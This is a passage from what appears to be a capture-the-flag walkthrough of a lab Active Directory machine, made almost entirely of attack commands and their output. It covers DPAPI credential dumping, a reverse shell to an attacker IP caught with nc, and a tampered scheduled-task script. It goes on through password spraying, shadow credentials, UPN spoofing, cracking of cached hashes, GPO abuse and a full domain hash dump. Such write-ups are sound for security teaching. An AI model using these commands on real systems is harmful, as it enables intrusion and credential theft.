evil-winrm-py PS C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500> ls -force
Directory: C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 1/15/2025 4:11 PM 468 189c6409-5515-4114-81d2-6dde4d6912ce
-a-hs- 10/14/2025 5:53 PM 468 46caa57b-6bf4-40fa-bc8d-02b5588004ac
-a-hs- 1/16/2025 10:35 AM 468 6037d071-cac5-481e-9e08-c4296c0a7ff7
-a-hs- 10/14/2025 5:53 PM 24 Preferred
Recover Admin Passwords
Via DonPAPI / netexec
DonPAPI is a really nice tool for exfiling credentials from a compromised host. I’ll install it using uv tool install donpapi (see my uv cheatsheet), and then run it with the Administrator ticket and proxychains:
oxdf@hacky$ KRB5CCNAME=Administrator.ccache proxychains -q DonPAPI collect -k --no-pass -t WEB-01.darkcorp.htb
[💀] [+] DonPAPI Version 2.0.1
[💀] [+] Output directory at /home/oxdf/.donpapi
[💀] [+] Loaded 1 targets
[💀] [+] Recover file available at /home/oxdf/.donpapi/recover/recover_1760525489
[WEB-01.darkcorp.htb] [+] Starting gathering credz
[WEB-01.darkcorp.htb] [+] Dumping SAM
[WEB-01.darkcorp.htb] [$] [SAM] Got 4 accounts
[WEB-01.darkcorp.htb] [+] Dumping LSA
[WEB-01.darkcorp.htb] [+] Dumping User and Machine masterkeys
[WEB-01.darkcorp.htb] [$] [DPAPI] Got 5 masterkeys
[WEB-01.darkcorp.htb] [+] Dumping User Chromium Browsers
[WEB-01.darkcorp.htb] [+] Dumping User and Machine Certificates
[WEB-01.darkcorp.htb] [+] Dumping User and Machine Credential Manager
[WEB-01.darkcorp.htb] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:But_Lying_Aid9!
[WEB-01.darkcorp.htb] [+] Gathering recent files and desktop files
[WEB-01.darkcorp.htb] [+] Dumping User Firefox Browser
[WEB-01.darkcorp.htb] [+] Dumping MobaXterm credentials
[WEB-01.darkcorp.htb] [+] Dumping MRemoteNg Passwords
[WEB-01.darkcorp.htb] [+] Dumping User's RDCManager
[WEB-01.darkcorp.htb] [+] Dumping SCCM Credentials
[WEB-01.darkcorp.htb] [+] Dumping User and Machine Vaults
[WEB-01.darkcorp.htb] [+] Dumping VNC Credentials
[WEB-01.darkcorp.htb] [+] Dumping Wifi profiles
DonPAPI running against 1 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
It dumps the password for Administrator, “But_Lying_Aid9!” from the scheduled task.
I can do the same thing with netexec:
oxdf@hacky$ KRB5CCNAME=Administrator.ccache proxychains -q netexec smb 172.16.20.2 -u administrator --use-kcache --dpapi
SMB 172.16.20.2 445 WEB-01 Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
SMB 172.16.20.2 445 WEB-01 [+] DARKCORP.HTB\administrator from ccache (Pwn3d!)
SMB 172.16.20.2 445 WEB-01 Collecting DPAPI masterkeys, grab a coffee and be patient...
SMB 172.16.20.2 445 WEB-01 [+] Got 5 decrypted masterkeys. Looting secrets...
SMB 172.16.20.2 445 WEB-01 [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:But_Lying_Aid9!
This is the local admin password:
oxdf@hacky$ proxychains -q netexec smb 172.16.20.2 -u administrator -p But_Lying_Aid9! --local-auth
SMB 172.16.20.2 445 WEB-01 Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
SMB 172.16.20.2 445 WEB-01 [+] WEB-01\administrator:But_Lying_Aid9! (Pwn3d!)
I’ll use RunasCs.exe to get a shell with full context:
evil-winrm-py PS C:\programdata> .\RunasCs.exe administrator 'But_Lying_Aid9!' cmd.exe -r 10.10.14.8:443
[+] Running in session 0 with process function CreateProcessWithTokenW()
[+] Using Station\Desktop: Service-0x0-4cccc1$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 96 created in background.
At nc:
oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.54 51862
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
I’ll switch to PowerShell and get the credential:
C:\Windows\system32>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> $cred = Get-StoredCredential
PS C:\Windows\system32> $cred.GetNetworkCredential().Username
Administrator
PS C:\Windows\system32> $cred.GetNetworkCredential().Password
Pack_Beneath_Solid9!
This is clearly not the current password for Administrator. It must be an older one.
I can also just use netexec again authenticating with the password and it now gets the second password:
oxdf@hacky$ proxychains -q netexec smb 172.16.20.2 -u administrator -p 'But_Lying_Aid9!' --local-auth --dpapi
SMB 172.16.20.2 445 WEB-01 Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:WEB-01) (signing:False) (SMBv1:False)
SMB 172.16.20.2 445 WEB-01 [+] WEB-01\administrator:But_Lying_Aid9! (Pwn3d!)
SMB 172.16.20.2 445 WEB-01 Collecting DPAPI masterkeys, grab a coffee and be patient...
SMB 172.16.20.2 445 WEB-01 [+] Got 7 decrypted masterkeys. Looting secrets...
SMB 172.16.20.2 445 WEB-01 [Administrator][CREDENTIAL] LegacyGeneric:target=WEB-01 - Administrator:Pack_Beneath_Solid9!
SMB 172.16.20.2 445 WEB-01 [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:But_Lying_Aid9!
Via Scheduled Task
The intended way to fetch the credential is by modifying a scheduled task. When the scheduled task runs as the admin user, it will be in a complete context that allows for access to the stored credentials. I’ll add to the cleanup.ps1 script:
evil-winrm-py PS C:\> echo '' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo '$cred = Get-StoredCredential' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo '$ncred = $cred.GetNetworkCredential()' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo '$user = $ncred.Username' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo '$pass = $ncred.Password' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo 'echo "$user : $pass" > C:\programdata\0xdf.txt' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
This will run in a full context that will allows access to the credentials, and save them to a file. I could wait for it to run, or just run it:
evil-winrm-py PS C:\Users\Administrator\Documents\cleanup> Start-ScheduledTask -TaskName CleanupScript
evil-winrm-py PS C:\Users\Administrator\Documents\cleanup> cat \programdata\0xdf.txt
Administrator : Pack_Beneath_Solid9!
Password Spray
I’ll use netexec to dump a list of users:
oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u victor.r -p victor1gustavo@# --users
SMB 172.16.20.1 445 DC-01 Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\victor.r:victor1gustavo@#
SMB 172.16.20.1 445 DC-01 -Username- -Last PW Set- -BadPW- -Description-
SMB 172.16.20.1 445 DC-01 Administrator 2024-12-29 23:25:45 0 Built-in account for administering the computer/domain
SMB 172.16.20.1 445 DC-01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 172.16.20.1 445 DC-01 krbtgt 2024-12-29 23:29:05 0 Key Distribution Center Service Account
SMB 172.16.20.1 445 DC-01 victor.r 2025-01-06 16:53:19 0
SMB 172.16.20.1 445 DC-01 svc_acc 2024-12-29 23:39:38 0
SMB 172.16.20.1 445 DC-01 john.w 2024-12-29 23:39:48 0
SMB 172.16.20.1 445 DC-01 angela.w 2024-12-29 23:39:57 0
SMB 172.16.20.1 445 DC-01 angela.w.adm 2024-12-29 23:39:57 0
SMB 172.16.20.1 445 DC-01 taylor.b 2025-01-09 16:10:33 0
SMB 172.16.20.1 445 DC-01 taylor.b.adm 2025-01-08 21:55:01 0
SMB 172.16.20.1 445 DC-01 eugene.b 2025-02-03 17:30:41 0
SMB 172.16.20.1 445 DC-01 bryce.c 2025-02-03 17:31:26 0
SMB 172.16.20.1 445 DC-01 Enumerated 12 local users: darkcorp
oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u victor.r -p victor1gustavo@# --users | awk '{print $5}' | grep -v '[\[-]' > users.txt
oxdf@hacky$ cat users.txt
Administrator
Guest
krbtgt
victor.r
svc_acc
john.w
angela.w
angela.w.adm
taylor.b
taylor.b.adm
eugene.b
bryce.c
Now I’ll spray the local administrator password to see if it’s shared with any domain users:
oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u users.txt -p 'Pack_Beneath_Solid9!' --continue-on-success
SMB 172.16.20.1 445 DC-01 Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\Administrator:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\Guest:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\krbtgt:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\victor.r:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\svc_acc:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\john.w:Pack_Beneath_Solid9!
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\angela.w:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\angela.w.adm:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\taylor.b:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\taylor.b.adm:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\eugene.b:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
SMB 172.16.20.1 445 DC-01 [-] darkcorp.htb\bryce.c:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE
john.w is a match! I could also spray with the local admin password, but this is what I need to continue forward.
Auth as angela.w@darkcorp.htb
Enumeration
John.W has GenericWrite over Angela.W:
Shadow Credential
I’ll use the GenericWrite to set a shadow credential using Certipy:
oxdf@hacky$ proxychains -q certipy shadow auto -username john.w -p Pack_Beneath_Solid9! -account angela.w -target dc-01.darkcorp.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc-01.darkcorp.htb.
[!] Use -debug to print a stacktrace
[*] Targeting user 'angela.w'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '4c614815b2864aa4b58f830b0801e185'
[*] Adding Key Credential with device ID '4c614815b2864aa4b58f830b0801e185' to the Key Credentials for 'angela.w'
[*] Successfully added Key Credential with device ID '4c614815b2864aa4b58f830b0801e185' to the Key Credentials for 'angela.w'
[*] Authenticating as 'angela.w' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'angela.w@darkcorp.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'angela.w.ccache'
[*] Wrote credential cache to 'angela.w.ccache'
[*] Trying to retrieve NT hash for 'angela.w'
[*] Restoring the old Key Credentials for 'angela.w'
[*] Successfully restored the old Key Credentials for 'angela.w'
[*] NT hash for 'angela.w': 957246c8137069bca672dc6aa0af7c7a
That dumps the NTLM hash, which I can auth with:
oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u angela.w -H 957246c8137069bca672dc6aa0af7c7a
SMB 172.16.20.1 445 DC-01 Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\angela.w:957246c8137069bca672dc6aa0af7c7a
Shell as angela.w.adm@drip
Enumeration
BloodHound data shows nothing of interest from angela.w. But there is also an angela.w.adm account, and it’s a member of the Linux Admins group:
UPN Spoofing
There’s a 2023 post from Pen Test Partners, A broken marriage. Abusing mixed vendor Kerberos stacks. This post talks about mismatches in how Windows and other OSes handle Kerberos, and how to abuse those edge cases. The attack here is to update angela.w’s UPN to angela.w.adm, and then generate a TGT. User Principal Name (UPN) is an Active Directory attribute that provides an alternative login name, typically formatted like an email address (e.g., angela.w@darkcorp.htb). It’s supposed to be just another way to reference the same account. The issue here is that by setting the UPN and generating the ticket in a specific way, the TGT will be trusted by Linux as angela.w.adm (rather than angela.w).
The angela.w account doesn’t have a UPN set:
oxdf@hacky$ proxychains -q bloodyAD --domain darkcorp.htb --host dc-01 -u john.w -p 'Pack_Beneath_Solid9!' get object angela.w | grep userPrincipalName
I’ll set it:
oxdf@hacky$ proxychains -q bloodyAD --domain darkcorp.htb --host dc-01 -u john.w -p 'Pack_Beneath_Solid9!' set object angela.w userPrincipalNa
me -v angela.w.adm
[+] angela.w's userPrincipalName has been updated
oxdf@hacky$ proxychains -q bloodyAD --domain darkcorp.htb --host dc-01 -u john.w -p 'Pack_Beneath_Solid9!' get object angela.w | grep userPrincipalName
userPrincipalName: angela.w.adm
Now I’ll make a ticket:
oxdf@hacky$ proxychains getTGT.py -hashes :957246c8137069bca672dc6aa0af7c7a -principalType 'NT_ENTERPRISE' darkcorp.htb/angela.w.adm
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... DARKCORP.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... DARKCORP.HTB:88 ... OK
[*] Saving ticket in angela.w.adm.ccache
It’s important to use the NT_ENTERPRISE principalType for this attack so that the UPN will be used first, as shown in this diagram from the article:
I’ll upload the resulting ticket to the Linux host using scp:
oxdf@hacky$ sshpass -p ThePlague61780 scp angela.w.adm.ccache ebelford@drip.htb:/dev/shm/
Now I’ll SSH into drip and use ksu to authenticate with that key:
ebelford@drip:~$ cd /dev/shm/
ebelford@drip:/dev/shm$ KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
Authenticated angela.w.adm@DARKCORP.HTB
Account angela.w.adm: authorization for angela.w.adm@DARKCORP.HTB successful
Changing uid to angela.w.adm (1730401107)
angela.w.adm@drip:/dev/shm$
There is a cleanup script removing the UPN from the angela.w account.
ebelford@drip:/dev/shm$ KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
ksu: TGT has been revoked while verifying ticket for server
Authentication failed.
This error means it’s necessary to go back and re-add the UPN.
Shell as root@drip
angela.w.adm can run any command as any user with sudo:
angela.w.adm@drip:/dev/shm$ sudo -l
Matching Defaults entries for angela.w.adm on drip:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User angela.w.adm may run the following commands on drip:
(ALL : ALL) NOPASSWD: ALL
sudo -i returns a root shell:
angela.w.adm@drip:/dev/shm$ sudo -i
root@drip:~#
Shell as taylor.b.adm@DC-01
Enumeration
The Linux host is using SSSD for domain authentication. As root, I can get the configuration now from /etc/sssd/sssd.conf:
[sssd]
services = nss, pam
domains = darkcorp.htb
[domain/darkcorp.htb]
id_provider = ad
cache_credentials = True
auth_provider = ad
access_provider = simple
default_shell = /bin/bash
use_fully_qualified_names= False
krb5_store_password_if_offline = True
simple_allow_groups = linux_admins
cached_credentials is enabled! They are stored in /var/lib/sss/db:
root@drip:/var/lib/sss/db# ls
cache_darkcorp.htb.ldb ccache_DARKCORP.HTB config.ldb sssd.ldb timestamps_darkcorp.htb.ldb
Cached Password
Extract from Database
I’ll exfil the cache_darkcorp.htb.ldb file to my host, where I can interact with it using ldbsearch (sudo apt install ldb-tools). To get cached passwords, I’ll need to add that to the query:
oxdf@hacky$ ldbsearch -H cache_darkcorp.htb.ldb '(cachedPassword=*)'
asq: Unable to register control with rootdse!
# record 1
dn: name=taylor.b.adm@darkcorp.htb,cn=users,cn=darkcorp.htb,cn=sysdb
createTimestamp: 1736373877
fullName: Taylor Barnard ADM
gecos: Taylor Barnard ADM
gidNumber: 1730400513
name: taylor.b.adm@darkcorp.htb
objectCategory: user
uidNumber: 1730414101
objectSIDString: S-1-5-21-3432610366-2163336488-3604236847-14101
uniqueID: 6780d137-c4a5-49c2-9240-47ae051365c6
originalDN: CN=Taylor Barnard ADM,CN=Users,DC=darkcorp,DC=htb
originalMemberOf: CN=gpo_manager,CN=Users,DC=darkcorp,DC=htb
originalMemberOf: CN=linux_admins,CN=Users,DC=darkcorp,DC=htb
originalMemberOf: CN=Remote Management Users,CN=Builtin,DC=darkcorp,DC=htb
originalModifyTimestamp: 20250108215501.0Z
entryUSN: 118872
adAccountExpires: 9223372036854775807
adUserAccountControl: 66048
nameAlias: taylor.b.adm@darkcorp.htb
isPosix: TRUE
lastUpdate: 1736373877
initgrExpireTimestamp: 0
ccacheFile: FILE:/tmp/krb5cc_1730414101_B5njUL
cachedPassword: $6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHv
lnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
cachedPasswordType: 1
lastCachedPasswordChange: 1736373912
failedLoginAttempts: 0
lastOnlineAuth: 1736373912
lastOnlineAuthWithCurrentToken: 1736373912
lastLogin: 1736373912
memberof: name=Domain Users@darkcorp.htb,cn=groups,cn=darkcorp.htb,cn=sysdb
memberof: name=linux_admins@darkcorp.htb,cn=groups,cn=darkcorp.htb,cn=sysdb
memberof: name=gpo_manager@darkcorp.htb,cn=groups,cn=darkcorp.htb,cn=sysdb
dataExpireTimestamp: 1
distinguishedName: name=taylor.b.adm@darkcorp.htb,cn=users,cn=darkcorp.htb,cn=
sysdb
# returned 1 records
# 1 entries
# 0 referrals
The cachedPassword field has a SHA-512 crypt password hash. I could also just find this hash with strings and grep on the host:
root@drip:/var/lib/sss/db# cat cache_darkcorp.htb.ldb | strings -n 60 | grep '\$'
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
Crack
I’ll save the hash to a file and pass it to hashcat:
$ hashcat taylor.b.adm.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
1800 | sha512crypt $6$, SHA512 (Unix) | Operating System
...[snip]...
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.:!QAZzaq1
...[snip]...
Verify
I’ll verify that password. On drip, I can su from an unprivileged user:
angela.w.adm@drip:/dev/shm$ exit
exit
ebelford@drip:/dev/shm$ su - taylor.b.adm
Password:
su: warning: cannot change directory to /home/darkcorp.htb/taylor.b.adm: No such file or directory
taylor.b.adm@drip:/dev/shm$
It also works on the domain:
oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'
SMB 172.16.20.1 445 DC-01 Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\taylor.b.adm:!QAZzaq1
WinRM is available as well:
oxdf@hacky$ proxychains -q netexec winrm 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'
WINRM 172.16.20.1 5985 DC-01 Windows Server 2022 Build 20348 (name:DC-01) (domain:darkcorp.htb)
WINRM 172.16.20.1 5985 DC-01 [+] darkcorp.htb\taylor.b.adm:!QAZzaq1 (Pwn3d!)
Shell
I’ll get a shell with evil-winrm-py:
oxdf@hacky$ proxychains -q evil-winrm-py -i dc-01 -u taylor.b.adm -p '!QAZzaq1'
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.4.1
[*] Connecting to 'dc-01:5985' as 'taylor.b.adm'
evil-winrm-py PS C:\Users\taylor.b.adm\Documents>
Shell as Administrator@DC-01
Enumeration
taylor.b.adm is a member of two custom groups, linux_admins and gpo_manager:
evil-winrm-py PS C:\Users\taylor.b.adm\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
darkcorp\linux_admins Group S-1-5-21-3432610366-2163336488-3604236847-1109 Mandatory group, Enabled by default, Enabled group
darkcorp\gpo_manager Group S-1-5-21-3432610366-2163336488-3604236847-1110 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
This provides significant control over the SecurityUpdates group policy object (GPO):
GPO Abuse
I’ll try SharpGPOAbuse (just like in Office), but it gets blocked by AMSI:
evil-winrm-py PS C:\programdata> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount taylor.b.adm --GPOName "SECURITYUPDATES"
Program 'SharpGPOAbuse.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount taylor.b.adm --GPON ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
pyGPOAbuse will modify GPOs remotely, so I don’t have to worry about AMSI. I showed this previously in BabyTwo, and I’ll run basically the same command here:
oxdf@hacky$ proxychains uv run --script pygpoabuse.py 'darkcorp.htb/taylor.b.adm:!QAZzaq1' -gpo-id 652CAE9A-4BB7-49F2-9E52-3361F33CE786 -command 'net localgroup administrators taylor.b.adm /add' -f
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... darkcorp.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... darkcorp.htb:389 ... OK
[+] ScheduledTask TASK_0b270770 created!
After a couple minutes (running gpupdate /force will speed this up), taylor.b.adm shows as (Pwn3d!) in netexec:
oxdf@hacky$ proxychains -q netexec smb dc-01 -u taylor.b.adm -p '!QAZzaq1'
SMB 224.0.0.1 445 DC-01 Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 224.0.0.1 445 DC-01 [+] darkcorp.htb\taylor.b.adm:!QAZzaq1 (Pwn3d!)
I’ll use this account to dump hashes:
oxdf@hacky$ proxychains -q secretsdump.py 'darkcorp.htb/taylor.b.adm:!QAZzaq1@dc-01'
/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe7c8f385f342172c7b0267fe4f3cbbd6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
darkcorp\DC-01$:aes256-cts-hmac-sha1-96:23f8c53f91fd2035d0dc5163341bd883cc051c1ba998f5aed318cd0d820fa1b2
darkcorp\DC-01$:aes128-cts-hmac-sha1-96:2715a4681263d6f9daf03b7dd7065a23
darkcorp\DC-01$:des-cbc-md5:eca71034201a3826
darkcorp\DC-01$:plain_password_hex:90d17589c9c348f3ea541982f161b1f658cec76e33e32762cba25cf55643a853efd93dd5cffec0cba16e008a2c7112715437d6a33b72e28405c53f68965349b0676128c9cb1997717523971bdaf255f72d9664d3ed5c06f1e5eb3a5b2ef6dc435727ed160e340591724e1230782e2484e25f8484a7b21bf102f71c9a91219cc23743377526a9c73eec8a70def939e673dd244d21be9ec18ba0d915bc080e8bfb3ac8953b5c6e64adb1107b062ddad75ce0e1f805bcdb52de979599787fac9d8246807055b4671191a41804f7918da2b82e3a4fde2959cd227a8af08982a89bcc7437e13426e8ff74273c4e0538a65eeb
darkcorp\DC-01$:aad3b435b51404eeaad3b435b51404ee:45d397447e9d8a8c181655c27ef31d28:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x395bad4405a9fd2285737a8ce7c6d9d60e6fceb3
dpapi_userkey:0x3f426bba655ad645920a84d740836ed1edf35836
[*] NL$KM
0000 65 DB D5 E7 F9 08 5C 24 AB 45 B5 E5 5D E5 3F DD e.....\$.E..].?.
0010 89 93 2A C7 F3 70 1E 5A B7 8D 4E D3 BA 3B 5F 0C ..*..p.Z..N..;_.
0020 A9 FC 32 69 57 6D E6 78 D0 07 33 43 FE 1E 06 A6 ..2iWm.x..3C....
0030 1E 56 2C 27 91 47 56 54 91 0D 20 79 E7 7A 2F 95 .V,'.GVT.. y.z/.
NL$KM:65dbd5e7f9085c24ab45b5e55de53fdd89932ac7f3701e5ab78d4ed3ba3b5f0ca9fc3269576de678d0073343fe1e06a61e562c2791475654910d2079e77a2f95
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c032c3e2657f4554bc7af108bd5ef17:::
victor.r:1103:aad3b435b51404eeaad3b435b51404ee:06207752633f7509f8e2e0d82e838699:::
svc_acc:1104:aad3b435b51404eeaad3b435b51404ee:01f55ea10774cce781a1b172478fcd25:::
john.w:1105:aad3b435b51404eeaad3b435b51404ee:b31090fdd33a4044cd815558c4d05b04:::
angela.w:1106:aad3b435b51404eeaad3b435b51404ee:957246c8137069bca672dc6aa0af7c7a:::
angela.w.adm:1107:aad3b435b51404eeaad3b435b51404ee:cf8b05d0462fc44eb783e3f423e2a138:::
taylor.b:1108:aad3b435b51404eeaad3b435b51404ee:ab32e2ad1f05dab03ee4b4d61fcb84ab:::
taylor.b.adm:14101:aad3b435b51404eeaad3b435b51404ee:0577b4b3fb172659dbac0be4554610f8:::
